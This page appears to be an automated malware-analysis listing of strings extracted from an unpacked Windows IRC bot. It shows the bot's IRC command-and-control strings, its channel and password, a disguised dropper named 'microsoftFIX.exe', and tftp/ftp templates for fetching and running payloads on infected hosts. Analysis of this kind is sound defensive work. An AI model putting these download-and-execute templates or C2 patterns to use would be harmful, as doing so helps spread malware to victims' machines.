"%s"
"%s"
"send"
"%s"
"gethost"
"gh"
"%s %s %s :%s"
"r"
"\n"
"open"
"NICK %s"
"%s\r\n"
"QUIT :later\r\n"
"all"
"%s\r\n"
"PART %s\r\n"
"JOIN %s %s\r\n"
"NICK %s\r\n"
"QUIT :reconnecting\r\n"
"QUIT :reconnecting\r\n"
"#RpmXp"
"#RpmXp"
"Random"
"Sequential"
"microsoftFIX.exe"
"full"
"sub"
"mqbol"
"QUIT :%s\r\n"
"QUIT :later\r\n"
"QUIT :disconnecting\r\n"
"QUIT :reconnecting\r\n"
"Process list"
"Find file"
"By"
"332"
"httpcon"
"hcon"
"upload"
"%s\\%i%i%i.dll"
"ab"
"open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
"-s:%s"
"ftp.exe"
"open"
"#RpmXp"
"Sequential"
"[%s] <%s> %s"
"mqbol"
"%s%s.exe"
"PART %s"
"%s\r\n"
"JOIN %s %s"
"%s\r\n"
"NICK %s"
"%s\r\n"
"MODE %s"
"%s\r\n"
"%s\r\n"
"MODE %s\r\n"
"332"
"PART %s\r\n"
"JOIN %s %s\r\n"
"NICK %s\r\n"
"!"
"~"
"H4CK3D39355"
"NOTICE %s :Pass auth failed (%s!%s).\r\n"
"NOTICE %s :Your attempt has been logged"...
"NOTICE %s :Host Auth failed (%s!%s).\r\n"
"NOTICE %s :Your attempt has been logged"...
"H4CK3D39355"
"USERHOST %s\r\n"
"-x+Ri"
"MODE %s %s\r\n"
"JOIN %s %s\r\n"
</font></pre></td></tr><tr id="sub_41F970"><td><pre><a name="sub_41F970"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_41F970"><font size=+2>sub_41F970</a>(d66b)</font>:<font color=brown>
"tidtable.c"
</font></pre></td></tr><tr id="sub_402EC0"><td><pre><a name="sub_402EC0"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_402EC0"><font size=+2>sub_402EC0</a>(d74b)</font>:<font color=brown>
"PASS %s\r\n"
</font></pre></td></tr><tr id="sub_4121EE"><td><pre><a name="sub_4121EE"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_4121EE"><font size=+2>sub_4121EE</a>(d9a3)</font>:<font color=brown>
"microsoftFIX.exe"
"tftp -i %s get %s &%s\r\n"
"echo open %s %d > o&echo user 1 1 >> o "...
</font></pre></td></tr><tr id="sub_423740"><td><pre><a name="sub_423740"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_423740"><font size=+2>sub_423740</a>(db6b)</font>:<font color=brown>
"e+000"
</font></pre></td></tr><tr id="sub_41AEA0"><td><pre><a name="sub_41AEA0"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_41AEA0"><font size=+2>sub_41AEA0</a>(dcb0)</font>:<font color=brown>
"szUserMessage != NULL"
"dbgrpt.c"
"<program name unknown>"
"..."
"..."
"\n\nFor information on how your program c"...
"Expression: "
"\n\n"
"\nLine: "
"\nFile: "
"\nModule: "
"Debug %s!\n\nProgram: %s%s%s%s%s%s%s%s%s%"...
"_CrtDbgReport: String too long or IO Er"...
"Microsoft Visual C++ Debug Library"
</font></pre></td></tr><tr id="sub_40267D"><td><pre><a name="sub_40267D"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_40267D"><font size=+2>sub_40267D</a>(e076)</font>:<font color=brown>
"%d.%d.%d.%d"
</font></pre></td></tr><tr id="sub_40E8F7"><td><pre><a name="sub_40E8F7"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_40E8F7"><font size=+2>sub_40E8F7</a>(e1a1)</font>:<font color=brown>
"%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
</font></pre></td></tr><tr id="sub_40CE96"><td><pre><a name="sub_40CE96"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_40CE96"><font size=+2>sub_40CE96</a>(e4f4)</font>:<font color=brown>
"Napi2_135"
".a.a.a. (%s.e.x.p) .. trying to root"...
</font></pre></td></tr><tr id="sub_420920"><td><pre><a name="sub_420920"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_420920"><font size=+2>sub_420920</a>(f0ae)</font>:<font color=brown>
"format != NULL"
"input.c"
"input.c"
</font></pre></td></tr><tr id="sub_40B3A1"><td><pre><a name="sub_40B3A1"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_40B3A1"><font size=+2>sub_40B3A1</a>(f1cc)</font>:<font color=brown>
"BBBB"
"CCCC"
</font></pre></td></tr><tr id="sub_4126E2"><td><pre><a name="sub_4126E2"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_4126E2"><font size=+2>sub_4126E2</a>(f2dd)</font>:<font color=brown>
"The following Windows services are regi"...
" Unknown"
" Paused"
" Pausing"
" Continuing"
" Running"
" Stoping"
" Starting"
" Stopped"
"%s: %s (%s)"
</font></pre></td></tr><tr id="sub_4170D0"><td><pre><a name="sub_4170D0"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_4170D0"><font size=+2>sub_4170D0</a>(f534)</font>:<font color=brown>
"string != NULL"
"vsprintf.c"
"format != NULL"
"vsprintf.c"
</font></pre></td></tr><tr id="sub_4117BA"><td><pre><a name="sub_4117BA"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_4117BA"><font size=+2>sub_4117BA</a>(f5ac)</font>:<font color=brown>
"failed"
</font></pre></td></tr><tr id="sub_41E9B0"><td><pre><a name="sub_41E9B0"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_41E9B0"><font size=+2>sub_41E9B0</a>(fa9d)</font>:<font color=brown>
"ch != _T('\\0')"
"output.c"
</font></pre></td></tr></table><script>
document.getElementById(window.location.href.split('#')[1]).setAttribute("style", "background-color:#ddddff");
</script>
</html> |